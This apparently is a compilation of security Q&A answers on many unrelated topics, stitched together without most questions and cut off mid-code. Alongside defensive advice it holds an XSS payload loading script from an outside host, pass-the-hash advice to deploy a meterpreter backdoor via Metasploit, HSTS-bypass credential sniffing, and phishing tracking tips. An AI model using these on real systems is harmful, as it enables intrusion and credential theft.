Is there an open source project or a list of "bad" IP addresses that are likely to be used by attackers or spammers?

What you looking for are open source Threat Intel feeds. There are a number of them you can subscribe to or likely query. Here are a handful I know of and should lead you in the right direction.

Collection of long list of lists on GitHub.
Emerging Threats
AlienVault
Zues Tracker
Palevo Tracker
Abuse.ch
Malc0de List
Binary Defence List


DHCP offers do leak some information about a network. The options contained reveal certain details about network layout and infrastructure, which is what DHCP is designed to do. Static assignment offers none of this detail.

The threat here is unauthorized connection to the network. That can be either a device plugging into a live network jack or a wireless client gaining access to a WLAN. Once the unauthorized connection has taken place the ability of the attacker to do anything once they have connected is where DHCP vs. Static comes into play.

DHCP with MAC registration is the most robust DHCP model. It doesn't offer addresses to any MAC it hasn't been told about, so in theory unauthorized devices won't be offered information. The same holds true for static assignment, there is no server to ask for addressing.

DHCP without MAC registration will allow unauthorized devices to consume an IP address.

MAC registration requires all new devices of any type to be registered with the DHCP system which can significantly increase how long it takes for a new device to be functional. Not all network devices have their MAC posted where they can be easily read, so some edge-case devices may require some bench testing to figure out what MAC they're using. Plug-and-go won't work (by design!). Additionally, if existing devices have their network cards swapped out for some reason, technicians will have to remember to re-register the new MAC. Deregistration of old MACs is a critical step of this process, and often missed until a DHCP scope fills.

There are a couple of attacks that make DHCP with MAC registration less useful. If an attacker can place a bridge between an authorized device and its network port (such as a laptop with two NICs) it can figure out that device's MAC address very simply. Any traffic monitored in this way will reveal the MAC address of the authorized device. Most network cards allow changing the MAC address, so all the attacker has to do is change the MAC on one of their NICs, unplug the authorized device, plug their re-numbered device in, and get access on a registered MAC.

On wireless, once an attacker has successfully broken into a WLAN to the point where they can monitor the airwaves; gaining MAC information is similarly easy.

The defense for this is Network Access Control. In order to talk to the network the attached device needs to be able to authenticate at a machine level. This defends against unauthorized devices attaching to a network as it prevents significant network conversation from happening. In the above scenario, the attacker's device would be denied access. Not all devices CAN use NAC, notably network-attached printers, so an attacker can focus on those devices, which means that network-disconnection events need to be monitored on those ports.


Cross site scripting verification on a field which does not accept more than 20 characters

I love irony.  Here's the line that was going to be my response.  And the error I received for posting it.

<script src=//h4k.me

Oops! Your answer couldn't be submitted because:

body must be at least 30 characters; you entered 20

Use variable recasting if at all possible before processing input (if not, regex to throw <'s /s etc out.)


It appears to be the name they're using for their content filtering system. I think they provide enough information to establish that, once you understand that ISPs are trying to get out ahead of legal regulation.

The main indicator to me is the fact that it's on by default, which is exactly what Cameron demanded. If you know what Sky broadband had before (I don't) then you could make a more detailed comparison of what has changed vs. what's in the proposed legislation.

Yes, ultimately it's a URL, domain and IP address filter, but it's broader in scope than the ones ISPs have previously used.

The people who've voted for the Online Safety Bill in its readings to date, probably think it's a next-gen security product. I have some doubts personally.


How to prevent ASCII Encoded / Binary String SQL injection in CodeIgniter

There are no known SQL injection vulnerabilities in the latest version of Code Igniter and the guys at EllisLabs try their best to provide fast patches for reported vulnerabilities. If you do discover a security vulnerability in the Active Record code, you should responsibly disclose it to the company developing the product. Otherwise, do not try to fix what is not broken, because you may end up ainserting vulnerabilities, rather than eliminating them.

Important note: Make sure you do not make exceptions with using Code Igniter, by constructing your own SQL syntax (especially when you use user supplied input)

$this->db->query("SELECT id FROM table WHERE column LIKE '%"."$search."'");

Or if you do, properly escape your variables using their predefined functions.


There's no practical way to inspect the Samsung disk's implementation of AES-256.  The same is true of the Bitlocker algorithm, but the software implementation has a few advantages:

Microsoft can issue patches if vulnerabilities are discovered
Runtime entropy sources are more varied than whatever entropy source is used to encrypt the Samsung disk  (remember that these disks ship encrypted, the password merely scrambling the keys.  If you can find information about how the disk is initialized and entropy is generated, I would love to hear it.)
In software you can inspect the raw disk image to ensure the content is being encrypted.

There was a similar question on this a few years ago:

Is hardware based disk encryption more secure that software based?

This said, I actively use this kind of disk-level encryption, but I'm only considering a threat model where a break-in to my apartment causes somebody to snag my hardware... no state secrets here.


Recovering truecrypt full disk encryption with wordlist

The TrueCrypt MBR does not do any password checking, as it'd be impossible to implement code for AES, Twofish, Serpent, SHA512, RIPEMD-160, Whirlpool, and PBKDF2 all in the space of 446 bytes in real mode. All the MBR does is load the rest of the bootloader (this is called a staged bootloader). The bootloader is what is responsible for providing you with a prompt, checking the password, and finishing boot.

The URL you linked for the volume format is only for the volume itself, which does not include the MBR. It most likely starts at the TrueCrypt partition, not the very beginning of the disk.


Security risk of a service that allows a user to test from connectivity from a server to a printer

You're correct to say that depending on how the application is deployed and who the user's are, there could be some risks in allowing users to do this.

Some controls which would likely help in this kind of scenario

Allow administrators to specify a list of valid printers, and then allow users to only choose from that list of printers.  This is likely the best option as it removes the user's ability to enter arbitrary IP addresses and ports to the application.
As mentioned, restricting to specific ports can reduce the risk, however some printers operate on the common web ports, so this is of limited use.
Also restricting which user's can use the facility would reduce the risk.
Logging all actions, whilst it won't prevent abuse, could be a useful feature in enabling administrators to spot and react to that abuse after the fact.


Current industry standard key management solution for web app on linux host

it sounds like you're looking for a solution to protect your data while it is "at rest".  You probably already know that it not sufficient just to protect data while it is "at rest", while ignoring the security while it is being processed.

if you have a budget to purchase commercial (paid) solutions, you might want to look into one of these.

Oracle Key Manager
RSA Data Protection Manager

There are lots of potential solutions which depend on what services you are using.  Amazon for instance offers solutions in combination with their Amazon Relational Database Service which provides he ability to encrypt data using format-preserving encryption.

You may want to look into "Transparent Data Encryption".  It would really help to know a little more about the architecture of your setup.  Is it a true cloud setup, or a colocation?

Lastly, I would urge you to consider the security implications of running "sensitive" data in the cloud.


Can you tell if an attack is successful by looking at IPS logs?

A successful attack by definition will not be detected by IPS or IDS.

What IPSs and IDSs are good for is weeding out script kiddies, worms and similar attackers.

If you want to have a relatively secure web application you need to use a web application firewall with a default deny rule set. Yes, it hurts to configure it this way and it will take a bit of time, on the other hand, it is really a "fire and forget" solution. The only time the rule set has to change is when the application changes (which you know about), not when attackers think about a new way around IPS or IDS (which you, or your IPS/IDS supplier, don't know about).

IPSs and IDSs "enumerate badness" and this just doesn't work any more: The Six Dumbest Ideas in Computer Security


Are there any known exploits against bluetooth mice or keyboards?

It's going to heavily depend on your version of Bluetooth supported.

Here's the latest NIST paper with the state of Bluetooth security and recommendations organizations can take to remediate their risk.

That's a good place to start.

Page #37 of the report lists all the Bluetooth vulnerabilities known at time of publication, sorted by the version the vulnerability was discovered in.


SRP is a password-based key exchange protocol, which implies mutual authentication (the client has a guarantee that it talked to the right server, the server has a guarantee that it talked to the right client). By definition, this rules out any man in the middle attack. This applies to the complete SRP protocol; if you look at the design page, you see that client and server first exchange a pair of messages (I,A from the client, s,B from the server), and then do some computations which yield the common session key K for both. But the authentication is not complete at that point; as the page says, client and server still "need to prove to each other that their keys match" so there are a couple extra messages to be exchanged.

At that point, client and server have "mutual authentication" in the following sense:

They both know the shared session key K.
The client (resp. server) knows that only the rightful server (resp. client) knows the key K.
They both know that the rightful server or client was indeed involved in the process (the authentication is explicit).

(The extra "key match" messages are needed to make the authentication explicit, but also to make the protocol robust -- the cryptographic details are intricate.)

But this is not enough. Indeed, when you want authentication, you don't just want some knowledge in abstracto that the intended peer exists and is not dead yet; you want to authenticate a session, i.e. subsequently exchanged data. An attacker in the position of doing a MitM attack could just let the messages pass, and then hijack the transport medium and inject his own data packets. To authenticate the session, the shared key K must then be used to compute a Message Authentication Code over the data chunks which the client and server then send to each other. In many cases, encryption will also be needed. Applying a MAC and possibly encryption to streamed data, in a safe way, is known to be a difficult task; there are details.

If you implement SRP and then add a transport layer for data which computes the MAC and encryption and does everything that is needed to make the session safe (including key diversification to prevent an attacker from making the server talk to itself; sequencing, to prevent reordering of data chunks; verified termination, to prevent truncation; and so on...), then you end up with something which is, basically, TLS. TLS with SRP is about the minimal protocol that uses SRP to authentication a session. It would take a very special situation to warrant inventing your own protocol (an highly risky endeavour) instead of just using TLS.


Can proxy server access my cookies and use it?

Anything that went over HTTP through a proxy was available to proxy controller.

HTTPS you should be okay, depending on the CAs that your browser trusts and assuming that you didn't click "yes" on trusting an untrusted certificate.


Not to my knowledge you can play around in the registry and make it so when a user opens a folder the computer will execute a file.


Can you pass C|EH without any hands-on experience in hacking tools

Having taken the C|EH fairly recently, I'd reccomend following their guidelines in knowing the command line parameters and expected output of the most common tools. I think it is 10% of the exam according to their materials and since they don't offer any man pages you can just write off that part if you aren't at all familiar with the basics (nmap, netstat, ipfilter, nslookup, etc.)


Online virus scanning service with remote file submission?

There are services like ScanThis! and URLVoid which are similar to VirusTotal. None seem to have an API that you are looking for.  However, more interesting is how effective these systems actually are.  Passing the EICAR test virus pattern to ScanThis! for example, comes back with a "not infected" report.  URLVoid, however, does indicate the file is infected.

In addition to finding an API, you will also want to ensure that the service you select has an appropriate scanning engine.  If you have samples of infected files, then it might behoove you test them to ensure that they are effective.  Otherwise you're no better off.


Are there performance implications using 'bypass'.

Since it makes sure that no more packets of the flow get analyzed it has obvious performance advantages. See the article "Suricata bypass feature" for some impressing numbers.

  Does it work in any rule?

Since it changes the future behavior of a flow it makes sense only in rules which match parts of a flow, i.e. usually TCP and UDP.

  For example, would this bypass all tcp traffic?  ...

It likely would but it would not be the best option to bypass all TCP traffic. It might be better (faster) to make Suricata ignore this traffic in the first place. See Ignoring Traffic in the documentation.


Secure way of masking out sensitive information in screenshots?

Yes, it can be recovered.

As long as shutter does not use layer (it almost certainly does not) and as long as the black is really all black (it must not be transparent), it is enough.

The picture that you provided uses some amount of transparency, see here:

All I had to do is use the Fill tool in MS Paint. If I used some algorithm that would take the jpg compression into account, I could probably get better results.

Solution:

Use an editor that does not make the block transparent. Make sure layers are not used. Make sure change history is not stored (to allow undo) in the file. I believe MS paint + bitmap format satisfy all the requirements. Most editors combined with bitmap (BMP) format without compression should satisfy these requirements, but I can not confirm this.

Remove the data. You can do so in many editors by selecting it and pressing delete or Ctrl + X. Then apply redaction graphics, whether black box, or anything else.

DO NOT use JPEG (jpg) or other lossy formats anywhere from capture until redaction. JPEG may leave artifacts that may convey information about the deleted pixels. This may also apply to other lossy formats, use lossless formats if possible. Using any format after the image is redacted is fine.

As lossless formats may also retain some information, if they are not completely re-encoded after the edit, it is recommended to either only use pure bitmap format with no compression before redacting, or to change the format after redacting.

Double check:

You can double check no compression is used in BMP format by checking the file size. The size should be larger than color_depth / 8 * width * height (resolution in pixels, color depth usually 24). Note that this check will not reveal transparency and artifacts caused by lossy compression, so make extra sure you did not use lossy format at any point.

It may also be useful to post a specific question about your proposed setup here, so you can see additional opinions and recommendations. It is hard to give definitive answer, that would work in general for all platforms, formats and editors as they all have their specific caveats.


What can I do with physical access to a server?

What you can do will to certain extent depend on the setup they have. For example, if they have full disk encryption, you can't extract the flag directly from the host OS.

Also, you can monitor their network traffic (and MITM it), but if they know what they are doing, it should all be encrypted.

However, you can always try to memory-hack the OS, as RAM will not be encrypted. By accessing the memory, you should be able to read any keys, as long as you can locate them. You can also attempt to modify the code running on the machine by simply rewriting (injecting malware) a running process with root privileges or just modifying the security software (disable checks, make it accept any password/key whatever else you need). Again, you need to be able to locate what you want to change and figure out how to change it, which may not be easy.


It's a known scam attempt. The caller probably compromised one of your accounts, and got stopped by the 2FA token sent to your phone. If you send them the token, your account is fully compromised. Or, as Nic pointed very well, may be the account of someone else.

What you do?

First: don't send them any code or token. That will prevent them for compromising your account.

Second: If your provider offers any alternatives, replace SMS as 2FA on every account you have with a more secure solution, like a hardware or software TOTP token. SMS is too insecure for that. 1 2 3 4

Third: change your passwords. If you don't have a password manager keeping different accounts for each service, install and setup one now. It will take time, but takes way less time than to recover from any mischief an attacker can do with your online services. While you are changing passwords and storing them on your password manager, switch the 2FA from SMS to TOTP to have a safer 2FA.

Don't trust your brain to pick passwords. They are guessable, and a computer can try billions of combinations per second. Any password manager, no matter how primitive, is better than us at creating password.


What can someone do with a Google auth token?

Martin's answer has good info and steps to prevent further potential risk.

Concerning the authtoken it’s pretty straight forward.
For example, when you use your Google account to login to a site, using the following button :

Google generates a token using what's called the  OAuth 2.0 protocol, allowing this website to login via Google without them ever having knowledge of your password.

Imagine a triangle in which information is exchanged from each of the three angles (3 people, illustrated as P), but information can't flow from P1 to P3(or P3->P1) without passing through P2, which funnels data.

That is the main purpose of the authtoken, a single-use (one site only) hash/token that basically allows :
P1(site) to identify themselves on "behalf" of P2(you) to the platform of P3(google)

On some apps/sites, upon first use of "Google sign in", you have to choose and accept how much data/control this particular API has over your Google account.
Nowadays, it is usually limited to seeing your email address (the address only), and some public/private info such as name, DOB and address.

So regarding security concerns, I don't believe there are any. Not only do tokens expire (meaning after prolonged time of no use, you will need to revalidate permissions, aka re-auth), but also, in the manner of cryptocurrency, this is a three way exchange where whatever site had a data leak has its own token used to identify to Google.

Let's imagine a worst case scenario where a malicious attacker manages to recreate (doubtful..) or spoof the site's token, and then used yours to identify to Google.
Their power would be limited to whatever permissions that site had on your Google account (they can vary), but remain restricted. They do not have access to the Google account itself.

Now it's safe to assume that upon discovery of the data leak, all token authorizations from this particular site were revoked; either by demand of the former or by Google, as a preventative measure.

But for peace of mind(and because knowledge is awesome!), it is worth checking the following link which shows all the apps you have tokens with and what they're allowed to do. https://myaccount.google.com/permissions

For more information about the authtoken process: https://developers.google.com/gmail/api/auth/about-auth

Hope this answered your question!

Just to be clear: authtokens do NOT store your password


Let's examine your risk factors step by step:
I use a laptop running Tails/Tor
This is a solid anonymization between you and the end user. Provided of course you don't overtly supply identifying information.
set up a new email account on protonmail
ProtonMail requires an alternate Email, SMS, or Donation to get past their anti-spam human check (At least using Tor they do). Both SMS and Donation are a direct link to you so that leaves an alternate Email. What's the trace on that alternate Email?
go to a public wifi spot, like a coffee shop
You laptop MAC address is potentially recorded in the coffee shop router. It's possible you spoofed it, and finding that particular coffee shop and correlating the MAC with other activities is a pretty low probability, but technically possible.
laptop to a park in the middle of the night where there's an Xfinity hotspot and sign up for the free hour pass using that email.
Many parks are closed at night, so you will stand out to any park cameras and security. Xfinity will have your MAC, again unless spoofed. If you have in the past or ever in the future reuse your MAC on Xfinity or Coffee shop outside of Tails, correlation is possible, albeit again a pretty high bar.
Increased complexity is not necessarily better. In many cases it's actually worse.
The whole Park/Xfinity thing not only doesn't help, it's detrimental. If you are already running Tails and connecting to Proton Mail, just do your download then and there. Attribution back to the coffe shop is protected by Tor. Additional skulking doesn't help, it hurts. There's no reason to destroy your laptop under this scenario, but you certainly can if you like.


Security of cloud-based password manager (Dashlane, LastPass) vs. federated login (OpenID, Google, Yahoo, Microsoft, Facebook)

At least one way to look at this is to consider the strength and quality of the authentication offered at the target site against the Identity Provider (IDP) you intend to federate with.

For example, consider if you have a choice between opening a new account with a plain old password (which you will store in your Password Manager app) vs. redirecting to an IDP that performs Risk-Based Authentication (RBA) in addition to your password for the IDP. The system with RBA potentially will consider a variety of factors to score the authentication session, such as the IP address of the client, the characteristics of the browser, the "normal" pattern of the behavior for that user, etc. If the risk score turns out to be high, you may get prompted for answering some questions or another step up method already configured at that IDP.

In this case, which option do you prefer? Just the plain-old password, or an IDP with Password+RBA? Services such as Facebook are gradually deploying risk-based capabilities on top of the authentication service (which is why you may get prompted with a picture of a friend to name, etc). You can read more about RBA in this report:

http://www.landsbankinn.is/library/Documents/Frettir/The_Forrester_Wave_Risk-B1.pdf

a more generic definition is available from here:

http://whatis.techtarget.com/definition/risk-based-authentication-RBA

Regards.


How to know if locally installed programs (like Re Image) are malware

The most reliable check in my opinion is VirusTotal, the online scanner bought by Google.
If the main executable is not too big, upload it there and have it scanned by >50 virus scanners.


Possible to connect to VNC server only with a NTLM Hash?

Yes, use psexec module from Metasploit.. however, for this to work port 445 should be open on the target. psexec module will require the username and password hash to deploy a meterpreter backdoor. once, achieved you can run the vnc post exploitation module and will be presented with a nice GUI of the target, All the best.


I stupidly responded to an email from a hacker posing as a friend

Based upon the information you have provided -- I would not bother doing anything.

This is most likely a social engineering attack, where they're going to try to persuade you to wire money via Western Union to some location where they (or a confederate) is ready to pick up the money.  It sounds like you did not provide them with any useful information.  Your email address and name is already information they could easily obtain, and isn't likely to be very helpful in attacking you via any method I can imagine.

You mentioned you already have chosen a long and strong password for your email account.  That's good, and the main thing.  I don't think you really need to do anything else at this stage.

If you have other accounts that you care about with a poor password, it wouldn't be a bad idea to change those passwords to something stronger -- not so much because of this incident, but rather because this is as good a time as any to do some basic security hygiene.  Also, if you don't already use your browser's password manager, I encourage you to start using it.  Password managers make it easier to use long and strong passwords, and reduce the temptation to pick something guessable.


Security issues if I post username in comments on my website?

A solution to your conundrum is having two separate handles for login and for display. Steam is a prominent example for this pattern. Users log in with their account name, while only the player name is displayed in forums or when playing with other users.

For this measure to be effective, you must ensure that those names cannot be the same. An attacker can harvest player names as much as he want, because only the account name can be used to log in.

You should be aware though, that user names are usually not treated as a secret and users are likely to leak them anyway. Your security should not revolve around keeping user names secret. A solid 2FA is all you need for state of the art user authentication.


Bettercap sniff HTTPS login credentials using proxy

Bettercap tool using HSTS technique to bypass https sites, and this type of attack work only for sites not listed on the preloaded list.

You can check the list here.

If you are trying to sniff the traffic of facebook or google apps( such as Gmail, Instagram,...) it's didn't work, even if the client uses the application or the browser, because of the preloaded list listed on the browser, and the certificate embedded in the applications.

Try to open facebook on internet explorer, it will work fine because IE browser does not use preloaded list.

You can create an https proxy with SSL root certificate and install this certificate to your phone, then you can decrypt HTTPS traffic.

https://www.trustwave.com/Resources/SpiderLabs-Blog/Intercepting-SSL-And-HTTPS-Traffic-With-mitmproxy-and-SSLsplit/


How To Prove That Client Side Javascript Is Secure?

You can't be sure it hasn't been tampered with. An attacker is running code on your system - given sufficient effort, they can manipulate anything that happens within the browser context that you're running in (so, a plugin doesn't suffer the same way - it's in a different context).

Not all of the points in the Matasano link from @SmokeDispenser are totally correct anymore, although the basic principle stands. Efforts such as the WebCrypto API are trying to address some of the problems, but are not mature yet - even if they were, it wouldn't be possible to determine with certainty that the code was not doing something malicious at the same time as performing the expected behaviour.


Security and the Definition of Ready and Done

How do I plan the definition of Ready and Done so that the security relevant rules are adhered to?

It's really hard to give a specific answer to this, because each company is a little bit different, but here are some really good tips on what and what not to use:
https://www.owasp.org/images/7/76/Jim_Manico_(Hamburg)_-_Securiing_the_SDLC.pdf

How do the security rules behave within an agile process?
How do I evaluate the security policies within the agile process?
Where exactly within my agile planning do I apply the security aspect?

It's a never ending process, ideally you would put the tests in your CI/CD pipeline, but where exactly to put them and how to evaluate them, is very dependent on what are your current processes in development.
You should put in work towards an SDLC (Software Development Lifecycle) plan, which would give you a good insight in where to put the security controls and than create a SSDLC (Secure Software Development Lifecycle) plan on where they are implemented, so that there is a clear guideline on how the security takes place.

Is static code analysis sufficient in the development environment?

The best path is to have static code analysis, dynamic tests on a running instance (SQLi, XSS, etc.) and to check dependencies for potential vulnerabilities. Where to fit each of these tests is really up to your CI/CD pipeline.

Even before I plan something, I start with the design to secure it. But how do I evaluate these safeguards?

The best way to evaluate them is by doing external audits and penetration tests. You can also do these parts internally, but it should be someone who is not associated with the product you are creating, for they could be bias in the evaluation.


Is there any good security reason to add a VPN tunnel to encapsulate an existing HTTPS traffic between an IoT device and a web server?

No.
Let's have a look at what you generally want from a connection to a remote host:

Confidentiality: You want to ensure that only the server and the device can read the data exchanged between the server and the device.
Integrity: You want to ensure that the data is not modified in transit - deliberately or not - and the receiver reads exactly what the sender sent.
Authenticity: The client wants to ensure that the server is actually the server they wish to communicate with, and not some third party impersonating the server.

HTTPS already offers you all of these, so adding a VPN on top won't improve things - at all.
The thing is, VPNs aren't designed to make connections secure - VPNs are designed to connect you to some remote network, as if you were part of that network. This works really well if you are, say, a company and wish to keep certain services available to your employees (who may be working from home) but not expose them to the general public.


How to protect against random number generator attacks

Let's start with the disclaimer: I'm not a cryptographer, creating your own RNG is usually a bad idea, blah, blah.  That said I have an idea:

Try measuring entropy of the RNG:

https://crypto.stackexchange.com/questions/10404/estimating-bits-of-entropy

When it gets too low due to an attacker (or cosmic rays) you stop providing random numbers until entropy reaches acceptable levels.

How much entropy?  Depends on your key size.  A 256 bit key with 20 bits of entropy is no more secure than a 20 bit key so I would suggest a target entropy equal to the biggest key size you will be working with.

Hardware being in an insecure environment is not a solvable problem in my eyes.  Aside from esoteric RNG attacks, the most straightforward approach would be to gain control of the device and compromise your encryption from there.


It means that DotEasy has a bad password strength rating system.  If I recall correctly they are a pretty cut rate hosting platform.  If you are looking for something dirt cheap they are probably the way to go.  If you are looking for quality, you might look into a more expensive/respected hosting provider.

Best of luck!


The simplest method is to put a user-custom token in each copy of the phishing email.  For example, a Groupon mailing in my inbox has the following link - I've inserted a bunch of newlines between the individual fields of the URL-encoded string.  You can see that there is a "user" field with a 64-byte hexadecimal string - that's the unique identifier that tells Groupon that it's me when I click on their email to look at the deal on their website.

http://www.groupon.com/deals/jimmy-s-famous-pizza-and-golfland-usa?
p=1
&utm_source=newsletter
&utm_medium=email
&sid=3cc714b9-fd5b-4d66-bead-e7c2e20d21bd
&division=boston
&user=03c1384e250d6c131d9b8948b6c5d536d26d9b0beb33f1fa5b6191e323b87c63
&date=20130522

So when I click to go to their site, they know I'm there because they sent a newsletter to (someone) via email on May 22nd.  They assume (someone) is me, because of that user string; of course, if I forward the email to my friends, and they click, then the web site will get that user string from them... so this is only a loose connection.  If you're phishing, however, it's really the closest you'll get without getting them to do more than just click on a link.


Can I control network traffic or bandwidth using router?

Maybe this question could be better answered in other page because this is focused on security. Anyway...

Usually home routers don't have that feature. Usually they have QoS, but is not the same "QoS control" than "Bandwith control". Is a very different feature. You can read about them in this article for example.

In the field of computer networking and other packet-switched telecommunication networks, Quality of Service refers to traffic prioritization and resource reservation control mechanisms rather than the achieved service quality. Quality of service is the ability to provide different priority to different applications, users, or data flows, or to guarantee a certain level of performance to a data flow.
Traffic shaping (also known as Bandwith control) is a computer network traffic management technique which delays some or all datagrams to bring them into compliance with a desired traffic profile. Traffic shaping is used to optimize or guarantee performance, improve latency, and/or increase usable bandwidth for some kinds of packets by delaying other kinds. It is often confused with traffic policing, the distinct but related practice of packet dropping and packet marking.

I did it time ago at home using custom firmware. There are some custom firmwares like dd-wrt or tomato firmware which have these features. In my case installed tomato firmware and worked like a charm reserving some bandwith for playing a game while watching youtube's videos without increasing latency. Of course these firmwares are compatible with a limited hardware. Can't be placed on any router. Check out the compatibilities lists on their pages.

Good luck!


A simplistic stateless alternative to HTTP basic auth for API's

Your proposed solution is almost identical to JSON Web Tokens (JWT), which are precisely that:

A stateless token containing information about the user
Signed and/or encrypted using shared secret or asymmetric key
Marked with an expiry timestamp

See https://jwt.io/ for more information. You would be very well served using this standard rather than rolling your own, as many well-tested libraries already exist for handling these tokens.

Note that it is generally unnecessary to store the password in the token, since the fact that it was encrypted or signed with your private key proves that it was created by your authentication routine. This gives the important benefit that you can have a completely separate authentication service, which verifies passwords and generates tokens, while your main application only knows how to read the tokens.

Regarding tying things to a particular server, you can handle multiple servers in one of two ways:

Use symmetric encryption, with the same shared secret installed on all your servers, but still impossible for anyone else to discover.
Use asymmetric encryption, and generate a different private key on each server which needs to create tokens, and deploy the corresponding public keys to each server which needs to read tokens.


Prevent a page from appearing in browser's history

The answer you don't want to hear is that you should modify the code to use POST instead of GET.

Generally, you should be using POST for almost all data being sent via the web. The real and only exclusion to this is data that is meant to be seen and manipulated by the end user. Examples of this might be:

User Profile
Post ID
Latitude & Longitude (Mapping)
Event Name/ID

This would allow a user to share and bookmark the site with all of the contained information in the URL. This can be advantageous for deciphering the content of the page, and easily modifying the query string to other values.

When you are transmitting any data consider to be sensitive, or otherwise not needed to be exposed, you should be using POST. Examples:

Username and Password
Personal identifying information
Almost all form elements dealing with registration


OCSP responseStatus, is it really useful?

I understand your concerns, but they unlikely related to your threat model.

  An MITM can potentially tamper this field and alter it to anything but Successful and cause the target client to fail-open.

MITM can tamper even signed content and client will reject the response because of invalid signature. Moving response status under signed block -- doesn't prevent from DoS. Thus:

  The attack I am considering is where the attacker can cause a client to disregard a valid, successful OCSP Response with certificate status REVOKED.

The result will be the same. OCSP response structure has nothing to do with DoS and can't prevent it in any way.

  does it even make sense to check the responseStatus field at all?

I think, it is. Basically, this field says whether there is response body or not. If not, what are potential reasons for empty response body. This is why this field is not authenticated, because response body may be absent.

Like it was already said, MITM can modify any bit in response (authenticated or non-authenticated) and response will become invalid and RevocationOffline message will be returned by OCSP client for this particular request.

To summarize: message signing or encryption doesn't prevent from DoS.


Can Ed25519 be used to mitigate MITM attack on WebRTC with an untrusted signaling channel?

One idea I had is to encrypt the signals with Ed25519. Would this solve the MITM issue?

First, Ed25519 is no encryption, it is a signature algorithm. And no, switching one signature algorithm with another does not magically protect against MITM. The relevant question in the context of MITM attacks is instead who is doing the signature and if this party can be trusted. This question is independent from the actual signature algorithm or encryption algorithm.

After the question was edited:

  One idea I had is to encrypt the signals with libsodium box/seal. Would this solve the MITM issue?

Again, the choice of encryption or signature algorithm are not relevant against MITM in this context. What matters instead is authentication which essentially boils down which identities can be trusted in the first place and how an identity can be verified.


How to make Automated API calls which are at least minimally secure?

As Anders pointed out that there's duplicate, it doesn't well cover your case which differs in a way that it's not key for encryption but password for API.

You can use another web service which would be serving one-time passwords, it could work this way:

Your Python script from server A connects to server B which is "password server"
You send credentials to password server to authorize yourself
You retrieve one-time password (or 1-day password) for API
You connect from server A to server C where API is and you send your one-time, or 1-day password
The API server C checks with server B whatever this password can be used
If they key matches, you get positive response from server C (API) to server A (Python client).

You should be using SSL (TLS) for all connections and verify if the certs are OK to prevent MITM attacks. You could be also using user-certs to authorize yourself along with the password.

You can extend security of such system in many ways, for example, limiting one-time password to your Python script IP address.

Also, your API server C can cache the passwords so it wont be retrieving them from server B every time you make API call (ideally in RAM).

The benefit for security is that you have full auditing on server C, and no permanent passwords, so you don't need to change them.


What are the Security Risks of Disabling Reverse Path Filtering

Reverse path filtering (or forwarding) has nothing to do with an application. Applications have no knowledge of the underlying network topology, RPF is done at a lower level.

Most attacks that take advantage of systems that do not check their routing information base before forwarding packets are denial of service attacks, or reflection attacks. Here's how it works: An attacker outside your network sends a packet to an internet facing server with a source IP that is actually inside your network. The server receives it, crafts a response, then sends it back to the source IP address, which is a system in your network. Bingo, the attacker just penetrated your perimeter. If your server had checked the reverse path it would have seen that the address didn't match the interface it should have come from, and discarded it before it reached the application.

As for how useful it is depends on your network topology, it can create more problems than it solves as you have to ensure that all routing paths are synchronous, which can be very difficult to accomplish. In some cases asynchronous traffic can work well and be beneficial in terms of resiliency, load balancing, etc. In simple networks where you can rigidly control all your paths to make sure return traffic goes back through the same interface it came in it may add some security. In complex networks the benefit of implementing it is greatly outweighed by the design and administration overhead required to make it work, even if it is feasible to do so.

Perhaps the greatest argument against it is that if you have your house remotely in order you simply don't need it. A basic perimeter firewall ruleset will block all incoming traffic with internally used IP addresses, and all private addressing. Essentially, if you ever have a situation where reverse path filtering would have been beneficial whomever manages your firewall rules should try a new line of work.


First of all, checkout methods number 1 and 3 require you to become PCI compliant, it doesn't matter how long you store that information, the moment you touch card holder data you need to be PCI compliant. Depending on what you do with the data (e.g. storage) different requirements may apply.
Well the easy part is doing the actual SAQ and being audited, the hard part is actually having your environment set up so you actually pass the audit.
Because you are temporarily storing  the CC information in a session, I'm more leaning towards SAQ D. Remember that C-VT requires no storage of CC data and that the terminals used to enter payments are required to be isolated in a single location and not connected to other systems in your environment. The most common implementation is via thin-client terminals or individual systems with dedicated Internet access and host-based firewall restrictions.
If COMODO is an acredited scanning vendor (ASV), they're should be no issue.


REST and confidential state - the trusted client problem etc?

What you are proposing sounds reasonably secure. The one change I would make is to move from UUIDs to a simple 128-bit cryptographically secure random number. I suggest this because, while UUIDs are intended to be unique, they are not designed to be unpredictable. Depending on the UUID implementation details, perhaps an attacker can start to predict subsequent IDs based on having obtained one or more through legal means.


Is there a solution for runing processes in encrypted mode on runtime?

This is a fundamental problem with using a system you don't control. You don't control it and cannot force it to behave.

You hinted at one solution in your question. Send a single request to multiple remote systems and compare the results. If they are different, one of them is wrong. It doesn't matter if it's compromised or buggy. As long as you have enough systems to reduce  the likelihood of compromised systems outnumbering secure systems, you can use the result agreed by most systems. This is what NASA does to deal with cosmic rays flipping bits.

You could ask them to perform hard operations whose results are easy to verify. For example, let the remote system find all prime factors of a large number, then you multiply the result together to determine if the result is correct.

Another option is to send the remote system only the data it cares about. If the result is wrong, only that system('s user) cares and is the only one penalized. For example, if they need to answer a question correctly to earn money, and incorrect answers won't earn money, then they will want to get the right answer. If they fail to secure their system, they are harmed but not you.

If you are trying to hide a secret from the remote system but still want the remote system to operate on the secret, then you cannot send them the secret. You may be able to send them part of the secret, from which they are unable to reconstruct the original secret. There is a branch of cryptography related to operating on encrypted data. In theory, this would let you send data to a remote system, the remote system would operate on the data, and you would check the result. Last I heard, that's not really viable because you can only perform ne add/multiply operation on the data before you have to decrypt and re-encrypt. The crypto will be more expensive than the add/multiply operation and so doesn't help us with anything. Yet.


What is the use of client.pfx and server.pfx?

what is use of file client.pfx and why I must install that?

SSL/TLS uses (almost always) server certificates to authenticate the server (which you validate using the root.cert). It can also optionally require that the client authenticates against the server using a certificate (mutual authentication). This is done in your case and the client.pfx file contains the client certificate and the associated private key. Only the client showing that it owns this certificate is accepted by the server.

  what is use of file server.pfx that is not used in the my scenario?

This is probably the certificate for the server. I have no idea why you were given this file (since you shouldn't need or have access to the servers private key) but you might use the servers certificate to make your application only accept this specific certificate for the server and not all certificates issued by the CA which match the servers name. This is also called certificate pinning or public key pinning.


Is using Gravatar in a web application with "private" URLs a security issue?

You could proxy the requests to Gravatar through your app, so that all requests come from the same place (or at least not from your private URLs themselves).

Something like this:

<img src="https://yourapp.example.com/users/1/avatar">

With an endpoint in your app that fetches the Gravatar image, and re-displays it at the new url above.

In Rails, I might do something like this as a first pass:

require 'open-uri'
class UsersController
  def avatar
